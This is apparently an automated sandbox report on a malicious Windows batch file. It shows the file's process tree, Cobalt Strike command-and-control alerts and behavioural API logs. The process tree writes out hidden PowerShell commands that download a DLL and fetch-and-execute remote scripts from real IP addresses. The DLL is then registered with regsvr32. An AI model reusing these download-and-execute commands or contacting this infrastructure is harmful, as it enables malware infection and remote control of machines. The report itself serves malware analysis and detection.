Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Nov. 1, 2021, 10:56 a.m.	Nov. 1, 2021, 11:12 a.m.

Size	450.0B
Type	DOS batch file, ASCII text
MD5	`8a8a26331aea7126ede07c9988343045`
SHA256	`0012ab676b84e8762edba4994f0887b0a04d47ce81e286fabb978af3491a8874`
CRC32	`C54D31DF`
ssdeep	`6:enyszV7kiKGBHLYeptILx4nyLmZ5LP0zmKtCIXUlWanyLmZ5LP0zmKtCIXUIvRpW:enN7ntBzn7LPwPYjlWan7LPwPYjd`
Yara	Antivirus - Contains references to security software

cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "lVvwjcmpfN" C:\Users\test22\AppData\Local\Temp\updateadmin2.bat
2416
- cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\test22\AppData\Local\Temp\updateadmin2.bat
  2556
  - powershell.exe powershell.exe -c (new-object System.Net.WebClient).DownloadFile('http://194.5.212.190/load/trendmicro2.dll','C:\users\public\videos\trendmicro2.dll')
    160
  - powershell.exe powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://108.62.12.61:99/home'))"
    2840
  - powershell.exe powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://108.62.12.61:80/home2'))"
    2988
  - regsvr32.exe regsvr32 C:\users\public\videos\trendmicro2.dll
    2748
    - regsvr32.exe C:\users\public\videos\trendmicro2.dll
      2496

Name	Response	Post-Analysis Lookup
nutsstats.com

IP Address	Status	Action
108.62.12.61	Active	Moloch
164.124.101.2	Active	Moloch
194.5.212.190	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49171 -> 194.5.212.190:80	2027250	ET INFO Dotted Quad Host DLL Request	Potentially Bad Traffic
TCP 194.5.212.190:80 -> 192.168.56.103:49171	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 194.5.212.190:80 -> 192.168.56.103:49171	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 192.168.56.103:49184 -> 108.62.12.61:99	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	Malware Command and Control Activity Detected
TCP 192.168.56.103:49184 -> 108.62.12.61:99	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	A Network Trojan was detected
TCP 192.168.56.103:49192 -> 108.62.12.61:99	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	Malware Command and Control Activity Detected
TCP 192.168.56.103:49192 -> 108.62.12.61:99	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	A Network Trojan was detected
TCP 192.168.56.103:49186 -> 108.62.12.61:99	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	Malware Command and Control Activity Detected
TCP 192.168.56.103:49186 -> 108.62.12.61:99	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	A Network Trojan was detected
TCP 192.168.56.103:49204 -> 108.62.12.61:99	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	Malware Command and Control Activity Detected
TCP 192.168.56.103:49204 -> 108.62.12.61:99	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	A Network Trojan was detected
TCP 192.168.56.103:49202 -> 108.62.12.61:99	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	Malware Command and Control Activity Detected
TCP 192.168.56.103:49202 -> 108.62.12.61:99	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	A Network Trojan was detected
TCP 192.168.56.103:49207 -> 108.62.12.61:99	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	Malware Command and Control Activity Detected
TCP 192.168.56.103:49190 -> 108.62.12.61:99	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	Malware Command and Control Activity Detected
TCP 192.168.56.103:49207 -> 108.62.12.61:99	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	A Network Trojan was detected
TCP 192.168.56.103:49190 -> 108.62.12.61:99	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	A Network Trojan was detected
TCP 192.168.56.103:49209 -> 108.62.12.61:99	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	Malware Command and Control Activity Detected
TCP 192.168.56.103:49191 -> 108.62.12.61:99	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	Malware Command and Control Activity Detected
TCP 192.168.56.103:49209 -> 108.62.12.61:99	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	A Network Trojan was detected
TCP 192.168.56.103:49191 -> 108.62.12.61:99	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	A Network Trojan was detected
TCP 192.168.56.103:49195 -> 108.62.12.61:99	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	Malware Command and Control Activity Detected
TCP 192.168.56.103:49210 -> 108.62.12.61:99	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	Malware Command and Control Activity Detected
TCP 192.168.56.103:49195 -> 108.62.12.61:99	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	A Network Trojan was detected
TCP 192.168.56.103:49210 -> 108.62.12.61:99	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	A Network Trojan was detected
TCP 192.168.56.103:49197 -> 108.62.12.61:99	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	Malware Command and Control Activity Detected
TCP 192.168.56.103:49197 -> 108.62.12.61:99	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	A Network Trojan was detected
TCP 192.168.56.103:49199 -> 108.62.12.61:99	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	Malware Command and Control Activity Detected
TCP 192.168.56.103:49199 -> 108.62.12.61:99	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	A Network Trojan was detected
TCP 192.168.56.103:49193 -> 108.62.12.61:99	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	Malware Command and Control Activity Detected
TCP 192.168.56.103:49193 -> 108.62.12.61:99	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	A Network Trojan was detected
TCP 192.168.56.103:49189 -> 108.62.12.61:99	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	Malware Command and Control Activity Detected
TCP 192.168.56.103:49200 -> 108.62.12.61:99	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	Malware Command and Control Activity Detected
TCP 192.168.56.103:49189 -> 108.62.12.61:99	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	A Network Trojan was detected
TCP 192.168.56.103:49200 -> 108.62.12.61:99	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	A Network Trojan was detected
TCP 192.168.56.103:49201 -> 108.62.12.61:99	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	Malware Command and Control Activity Detected
TCP 192.168.56.103:49201 -> 108.62.12.61:99	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	A Network Trojan was detected
TCP 192.168.56.103:49194 -> 108.62.12.61:99	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	Malware Command and Control Activity Detected
TCP 192.168.56.103:49194 -> 108.62.12.61:99	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	A Network Trojan was detected
TCP 192.168.56.103:49205 -> 108.62.12.61:99	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	Malware Command and Control Activity Detected
TCP 192.168.56.103:49205 -> 108.62.12.61:99	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	A Network Trojan was detected
TCP 192.168.56.103:49196 -> 108.62.12.61:99	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	Malware Command and Control Activity Detected
TCP 192.168.56.103:49196 -> 108.62.12.61:99	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	A Network Trojan was detected
TCP 192.168.56.103:49206 -> 108.62.12.61:99	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	Malware Command and Control Activity Detected
TCP 192.168.56.103:49206 -> 108.62.12.61:99	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	A Network Trojan was detected
TCP 192.168.56.103:49198 -> 108.62.12.61:99	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	Malware Command and Control Activity Detected
TCP 192.168.56.103:49198 -> 108.62.12.61:99	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	A Network Trojan was detected
TCP 192.168.56.103:49203 -> 108.62.12.61:99	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	Malware Command and Control Activity Detected
TCP 192.168.56.103:49203 -> 108.62.12.61:99	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	A Network Trojan was detected
TCP 192.168.56.103:49211 -> 108.62.12.61:99	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	Malware Command and Control Activity Detected
TCP 192.168.56.103:49211 -> 108.62.12.61:99	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	A Network Trojan was detected
TCP 192.168.56.103:49208 -> 108.62.12.61:99	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	Malware Command and Control Activity Detected
TCP 192.168.56.103:49208 -> 108.62.12.61:99	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	A Network Trojan was detected
TCP 108.62.12.61:99 -> 192.168.56.103:49196	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	Malware Command and Control Activity Detected
TCP 108.62.12.61:99 -> 192.168.56.103:49195	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	Malware Command and Control Activity Detected
TCP 108.62.12.61:99 -> 192.168.56.103:49194	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	Malware Command and Control Activity Detected
TCP 108.62.12.61:99 -> 192.168.56.103:49190	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	Malware Command and Control Activity Detected
TCP 108.62.12.61:99 -> 192.168.56.103:49200	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	Malware Command and Control Activity Detected
TCP 108.62.12.61:99 -> 192.168.56.103:49202	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	Malware Command and Control Activity Detected
TCP 108.62.12.61:99 -> 192.168.56.103:49207	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	Malware Command and Control Activity Detected
TCP 108.62.12.61:99 -> 192.168.56.103:49186	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	Malware Command and Control Activity Detected
TCP 108.62.12.61:99 -> 192.168.56.103:49192	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	Malware Command and Control Activity Detected
TCP 108.62.12.61:99 -> 192.168.56.103:49189	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	Malware Command and Control Activity Detected
TCP 108.62.12.61:99 -> 192.168.56.103:49184	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	Malware Command and Control Activity Detected
TCP 108.62.12.61:99 -> 192.168.56.103:49208	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	Malware Command and Control Activity Detected
TCP 108.62.12.61:99 -> 192.168.56.103:49211	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	Malware Command and Control Activity Detected
TCP 108.62.12.61:99 -> 192.168.56.103:49206	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	Malware Command and Control Activity Detected
TCP 108.62.12.61:99 -> 192.168.56.103:49203	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	Malware Command and Control Activity Detected
TCP 108.62.12.61:99 -> 192.168.56.103:49193	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	Malware Command and Control Activity Detected
TCP 108.62.12.61:99 -> 192.168.56.103:49198	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	Malware Command and Control Activity Detected
TCP 108.62.12.61:99 -> 192.168.56.103:49201	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	Malware Command and Control Activity Detected
TCP 108.62.12.61:99 -> 192.168.56.103:49205	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	Malware Command and Control Activity Detected
TCP 108.62.12.61:99 -> 192.168.56.103:49204	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	Malware Command and Control Activity Detected
TCP 108.62.12.61:99 -> 192.168.56.103:49191	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	Malware Command and Control Activity Detected
TCP 108.62.12.61:99 -> 192.168.56.103:49197	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	Malware Command and Control Activity Detected
TCP 108.62.12.61:99 -> 192.168.56.103:49199	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	Malware Command and Control Activity Detected
TCP 108.62.12.61:99 -> 192.168.56.103:49209	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	Malware Command and Control Activity Detected
TCP 108.62.12.61:99 -> 192.168.56.103:49210	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Queries for the computername (23 events)

Time & API	Arguments	Status	Return
GetComputerNameW Nov. 1, 2021, 10:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 1, 2021, 10:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 1, 2021, 10:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 1, 2021, 10:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Nov. 1, 2021, 10:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 1, 2021, 10:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 1, 2021, 10:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 1, 2021, 10:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 1, 2021, 10:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 1, 2021, 10:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 1, 2021, 10:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Nov. 1, 2021, 10:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 1, 2021, 10:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 1, 2021, 10:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Nov. 1, 2021, 10:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 1, 2021, 10:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 1, 2021, 10:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 1, 2021, 10:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 1, 2021, 10:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Nov. 1, 2021, 10:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 1, 2021, 10:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 1, 2021, 10:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Nov. 1, 2021, 10:56 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (3 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Nov. 1, 2021, 10:56 a.m.			0	0
IsDebuggerPresent Nov. 1, 2021, 10:56 a.m.			0	0
IsDebuggerPresent Nov. 1, 2021, 10:56 a.m.			0	0

Command line console output was observed (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteConsoleW Nov. 1, 2021, 10:56 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1	0

Uses Windows APIs to generate a cryptographic key (50 out of 120 events)

Time & API	Arguments	Status	Return
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051d1e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051d760 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051d760 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051d760 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051d2e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051d2e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051d2e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051d2e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051d2e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051d2e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051d760 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051d760 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051d760 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051d660 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051d660 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051d660 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051d2a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051d660 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051d660 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051d660 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051d660 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051d660 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051d660 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051d660 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051cee0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051cee0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051cee0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051cee0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051cee0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051cee0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051cee0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051cee0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051cee0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051cee0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051cee0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051cee0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051cee0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051cee0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051db60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051db60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0029f038 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0029f178 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0029f178 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0029f178 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0029e8f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0029e8f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0029e8f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0029e8f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0029e8f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 1, 2021, 10:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0029e8f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Nov. 1, 2021, 10:56 a.m.		1	1	0

Powershell script has download & invoke calls (1 event)

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (2 events)

suspicious_features	GET method with no useragent header, Connection to IP address				suspicious_request	GET http://194.5.212.190/load/trendmicro2.dll
suspicious_features	GET method with no useragent header, Connection to IP address				suspicious_request	GET http://108.62.12.61/home2

Performs some HTTP requests (2 events)

request	GET http://194.5.212.190/load/trendmicro2.dll
request	GET http://108.62.12.61/home2

Allocates read-write-execute memory (usually to unpack itself) (50 out of 450 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 2228224 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025a0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02780000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72c51000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01efa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72c52000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01ef2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f42000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02781000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02782000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x023ba000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
